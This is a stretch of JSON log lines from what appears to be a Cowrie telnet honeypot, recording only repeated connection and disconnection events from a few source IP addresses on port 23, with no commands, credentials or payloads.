{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45930,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ad18488169","protocol":"telnet","message":"New connection: 174.142.104.49:45930 (159.203.135.109:23) [session: 57ad18488169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:02.984236Z"}
{"eventid":"cowrie.session.closed","duration":30.90909171104431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:03.235049Z","src_ip":"174.142.104.49","session":"a2ae6c9961e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58033776283264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:03.609560Z","src_ip":"174.142.104.49","session":"50251180a87a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863494873046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:03.953232Z","src_ip":"174.142.104.49","session":"929c99444fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36530,"dst_ip":"159.203.135.109","dst_port":23,"session":"5af8e917db7a","protocol":"telnet","message":"New connection: 174.142.104.49:36530 (159.203.135.109:23) [session: 5af8e917db7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:04.137710Z"}
{"eventid":"cowrie.session.closed","duration":30.66566777229309,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:04.286317Z","src_ip":"174.142.104.49","session":"cf3e889f41f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43564,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0c88a47dd80","protocol":"telnet","message":"New connection: 174.142.104.49:43564 (159.203.135.109:23) [session: e0c88a47dd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:04.497867Z"}
{"eventid":"cowrie.session.closed","duration":32.12538766860962,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:04.627821Z","src_ip":"161.132.53.68","session":"32a24381509b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.235862255096436,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:05.405510Z","src_ip":"174.142.104.49","session":"7bde482d1c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48238,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1496d33e882","protocol":"telnet","message":"New connection: 174.142.104.49:48238 (159.203.135.109:23) [session: f1496d33e882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:05.576092Z"}
{"eventid":"cowrie.session.closed","duration":31.141681909561157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:05.583058Z","src_ip":"174.142.104.49","session":"deddb5fe2f65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45584,"dst_ip":"159.203.135.109","dst_port":23,"session":"74f6eec9ea43","protocol":"telnet","message":"New connection: 174.142.104.49:45584 (159.203.135.109:23) [session: 74f6eec9ea43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:05.774253Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51190,"dst_ip":"159.203.135.109","dst_port":23,"session":"977fbe13c170","protocol":"telnet","message":"New connection: 174.142.104.49:51190 (159.203.135.109:23) [session: 977fbe13c170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:06.431302Z"}
{"eventid":"cowrie.session.closed","duration":31.315691471099854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:06.636798Z","src_ip":"174.142.104.49","session":"285760d3a6d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99009108543396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:06.820378Z","src_ip":"174.142.104.49","session":"bafeca83331a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.538158178329468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:07.066743Z","src_ip":"174.142.104.49","session":"711998b48736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52740,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aa75cab86fe","protocol":"telnet","message":"New connection: 174.142.104.49:52740 (159.203.135.109:23) [session: 8aa75cab86fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:08.361697Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52972,"dst_ip":"159.203.135.109","dst_port":23,"session":"f42cd22e807c","protocol":"telnet","message":"New connection: 174.142.104.49:52972 (159.203.135.109:23) [session: f42cd22e807c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:08.500650Z"}
{"eventid":"cowrie.session.closed","duration":31.596445083618164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:08.866881Z","src_ip":"174.142.104.49","session":"8d4e4c195c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53590,"dst_ip":"159.203.135.109","dst_port":23,"session":"b74836469b94","protocol":"telnet","message":"New connection: 174.142.104.49:53590 (159.203.135.109:23) [session: b74836469b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:08.873198Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52180,"dst_ip":"159.203.135.109","dst_port":23,"session":"de6bb16f0d8f","protocol":"telnet","message":"New connection: 174.142.104.49:52180 (159.203.135.109:23) [session: de6bb16f0d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.034210Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55566,"dst_ip":"159.203.135.109","dst_port":23,"session":"422d204c6023","protocol":"telnet","message":"New connection: 174.142.104.49:55566 (159.203.135.109:23) [session: 422d204c6023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.120253Z"}
{"eventid":"cowrie.session.closed","duration":30.23201298713684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.267235Z","src_ip":"174.142.104.49","session":"2fb94d85e6a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084922790527344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.305693Z","src_ip":"174.142.104.49","session":"b24c8bc515fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54704,"dst_ip":"159.203.135.109","dst_port":23,"session":"829f7927bb09","protocol":"telnet","message":"New connection: 174.142.104.49:54704 (159.203.135.109:23) [session: 829f7927bb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.628061Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60702,"dst_ip":"159.203.135.109","dst_port":23,"session":"8047eb7b959e","protocol":"telnet","message":"New connection: 174.142.104.49:60702 (159.203.135.109:23) [session: 8047eb7b959e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.769414Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3bfb366dfc0","protocol":"telnet","message":"New connection: 174.142.104.49:56636 (159.203.135.109:23) [session: b3bfb366dfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.803880Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55250,"dst_ip":"159.203.135.109","dst_port":23,"session":"3301080968ef","protocol":"telnet","message":"New connection: 174.142.104.49:55250 (159.203.135.109:23) [session: 3301080968ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:09.941059Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57406,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f954f01e510","protocol":"telnet","message":"New connection: 174.142.104.49:57406 (159.203.135.109:23) [session: 9f954f01e510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:10.294271Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36148,"dst_ip":"10.17.0.5","dst_port":23,"session":"5af0cc60e921","protocol":"telnet","message":"New connection: 193.22.147.168:36148 (10.17.0.5:23) [session: 5af0cc60e921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:10.359952Z"}
{"eventid":"cowrie.session.closed","duration":31.36096692085266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:10.657796Z","src_ip":"174.142.104.49","session":"097014b22d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44905948638916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:10.736020Z","src_ip":"174.142.104.49","session":"ec65b592291c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58590,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8536dda27c6","protocol":"telnet","message":"New connection: 174.142.104.49:58590 (159.203.135.109:23) [session: c8536dda27c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:11.055721Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57154,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd4fe4a4db81","protocol":"telnet","message":"New connection: 174.142.104.49:57154 (159.203.135.109:23) [session: bd4fe4a4db81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:11.100791Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36158,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e2622dd92d5","protocol":"telnet","message":"New connection: 193.22.147.168:36158 (10.17.0.5:23) [session: 3e2622dd92d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:11.132249Z"}
{"eventid":"cowrie.session.closed","duration":120.00155782699585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:11.345789Z","src_ip":"174.142.104.49","session":"74936b4fbc4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59796,"dst_ip":"159.203.135.109","dst_port":23,"session":"a80a66ff4084","protocol":"telnet","message":"New connection: 174.142.104.49:59796 (159.203.135.109:23) [session: a80a66ff4084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:11.827193Z"}
{"eventid":"cowrie.session.closed","duration":30.45922541618347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:12.191273Z","src_ip":"174.142.104.49","session":"b8423b2e8994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00154519081116,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:12.395082Z","src_ip":"174.142.104.49","session":"6b3d23e64d37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59136,"dst_ip":"159.203.135.109","dst_port":23,"session":"04bd4a2efddf","protocol":"telnet","message":"New connection: 174.142.104.49:59136 (159.203.135.109:23) [session: 04bd4a2efddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:12.414853Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59396,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f1d7e70b2d","protocol":"telnet","message":"New connection: 174.142.104.49:59396 (159.203.135.109:23) [session: e5f1d7e70b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:12.555798Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36066,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0bef09ecd9e","protocol":"telnet","message":"New connection: 174.142.104.49:36066 (159.203.135.109:23) [session: f0bef09ecd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:12.841748Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59870,"dst_ip":"159.203.135.109","dst_port":23,"session":"7924b8463217","protocol":"telnet","message":"New connection: 174.142.104.49:59870 (159.203.135.109:23) [session: 7924b8463217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:12.858666Z"}
{"eventid":"cowrie.session.closed","duration":31.004218101501465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:12.960241Z","src_ip":"174.142.104.49","session":"2daedfbe6268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.565192937850952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:13.178883Z","src_ip":"174.142.104.49","session":"cec8c09b0c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42863702774048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:13.184379Z","src_ip":"174.142.104.49","session":"8d149d9d3a7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96615171432495,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:13.343263Z","src_ip":"174.142.104.49","session":"43de11a4352a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34158,"dst_ip":"159.203.135.109","dst_port":23,"session":"63cd9ede5a6b","protocol":"telnet","message":"New connection: 174.142.104.49:34158 (159.203.135.109:23) [session: 63cd9ede5a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:13.447855Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32936,"dst_ip":"159.203.135.109","dst_port":23,"session":"df7d663c9eb6","protocol":"telnet","message":"New connection: 174.142.104.49:32936 (159.203.135.109:23) [session: df7d663c9eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:13.657854Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33166,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b0ad26d8d1","protocol":"telnet","message":"New connection: 174.142.104.49:33166 (159.203.135.109:23) [session: 92b0ad26d8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:13.813905Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42326,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e0f0542732","protocol":"telnet","message":"New connection: 193.22.147.168:42326 (10.17.0.5:23) [session: 67e0f0542732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:14.205205Z"}
{"eventid":"cowrie.session.closed","duration":30.922722339630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:14.620977Z","src_ip":"174.142.104.49","session":"5df12bac93c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133156776428,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:14.629787Z","src_ip":"174.142.104.49","session":"228c2fbc9a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34560,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed9cb869608f","protocol":"telnet","message":"New connection: 174.142.104.49:34560 (159.203.135.109:23) [session: ed9cb869608f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:14.737153Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34630,"dst_ip":"159.203.135.109","dst_port":23,"session":"b69594b8d329","protocol":"telnet","message":"New connection: 174.142.104.49:34630 (159.203.135.109:23) [session: b69594b8d329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:14.813704Z"}
{"eventid":"cowrie.session.closed","duration":30.97880530357361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:14.879253Z","src_ip":"174.142.104.49","session":"0445a6dcb61e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079735279083252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:14.972068Z","src_ip":"161.132.53.68","session":"babffba8ce79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35198,"dst_ip":"159.203.135.109","dst_port":23,"session":"069f3b4de3a0","protocol":"telnet","message":"New connection: 174.142.104.49:35198 (159.203.135.109:23) [session: 069f3b4de3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:15.140952Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35366,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b0e7578024e","protocol":"telnet","message":"New connection: 174.142.104.49:35366 (159.203.135.109:23) [session: 9b0e7578024e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:15.262188Z"}
{"eventid":"cowrie.session.closed","duration":30.949622631072998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:15.503087Z","src_ip":"174.142.104.49","session":"7b4dcbfa3b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35860,"dst_ip":"159.203.135.109","dst_port":23,"session":"416f89598830","protocol":"telnet","message":"New connection: 174.142.104.49:35860 (159.203.135.109:23) [session: 416f89598830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:15.689736Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36114,"dst_ip":"159.203.135.109","dst_port":23,"session":"195d1431a366","protocol":"telnet","message":"New connection: 174.142.104.49:36114 (159.203.135.109:23) [session: 195d1431a366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:15.810886Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56934,"dst_ip":"159.203.135.109","dst_port":23,"session":"3956794a6616","protocol":"telnet","message":"New connection: 161.132.53.68:56934 (159.203.135.109:23) [session: 3956794a6616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:15.878085Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38036,"dst_ip":"159.203.135.109","dst_port":23,"session":"23a471e29d70","protocol":"telnet","message":"New connection: 174.142.104.49:38036 (159.203.135.109:23) [session: 23a471e29d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:15.960927Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38160,"dst_ip":"159.203.135.109","dst_port":23,"session":"c10199756191","protocol":"telnet","message":"New connection: 174.142.104.49:38160 (159.203.135.109:23) [session: c10199756191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:16.031662Z"}
{"eventid":"cowrie.session.closed","duration":31.92057228088379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:16.080914Z","src_ip":"174.142.104.49","session":"5c0ca2f2a8be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.52230095863342,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:16.100352Z","src_ip":"174.142.104.49","session":"7973a1d89275","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36754,"dst_ip":"159.203.135.109","dst_port":23,"session":"582d96ae0c24","protocol":"telnet","message":"New connection: 174.142.104.49:36754 (159.203.135.109:23) [session: 582d96ae0c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:16.148015Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55360,"dst_ip":"159.203.135.109","dst_port":23,"session":"e82108a4d37a","protocol":"telnet","message":"New connection: 174.142.104.49:55360 (159.203.135.109:23) [session: e82108a4d37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:16.169527Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39604,"dst_ip":"159.203.135.109","dst_port":23,"session":"01fc8b29789d","protocol":"telnet","message":"New connection: 174.142.104.49:39604 (159.203.135.109:23) [session: 01fc8b29789d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:16.823025Z"}
{"eventid":"cowrie.session.closed","duration":31.55252766609192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:16.910310Z","src_ip":"174.142.104.49","session":"ccd3f1234f96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.233917236328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:17.224053Z","src_ip":"174.142.104.49","session":"b9edb9f9d830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55918,"dst_ip":"159.203.135.109","dst_port":23,"session":"37c84a706deb","protocol":"telnet","message":"New connection: 174.142.104.49:55918 (159.203.135.109:23) [session: 37c84a706deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:17.449572Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40728,"dst_ip":"159.203.135.109","dst_port":23,"session":"98c8853837af","protocol":"telnet","message":"New connection: 174.142.104.49:40728 (159.203.135.109:23) [session: 98c8853837af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:17.477571Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35662,"dst_ip":"159.203.135.109","dst_port":23,"session":"fec993ef9748","protocol":"telnet","message":"New connection: 174.142.104.49:35662 (159.203.135.109:23) [session: fec993ef9748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:17.487974Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41498,"dst_ip":"159.203.135.109","dst_port":23,"session":"01ba7987ff48","protocol":"telnet","message":"New connection: 174.142.104.49:41498 (159.203.135.109:23) [session: 01ba7987ff48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:17.895700Z"}
{"eventid":"cowrie.session.closed","duration":30.640222787857056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:18.501194Z","src_ip":"174.142.104.49","session":"80a3aa8247e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974315643310547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:18.661062Z","src_ip":"174.142.104.49","session":"01017cbe59f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36174,"dst_ip":"10.17.0.5","dst_port":23,"session":"687199231a2c","protocol":"telnet","message":"New connection: 193.22.147.168:36174 (10.17.0.5:23) [session: 687199231a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:18.677180Z"}
{"eventid":"cowrie.session.closed","duration":31.629260301589966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:18.775590Z","src_ip":"174.142.104.49","session":"3cfd8a068627","protocol":"telnet"}
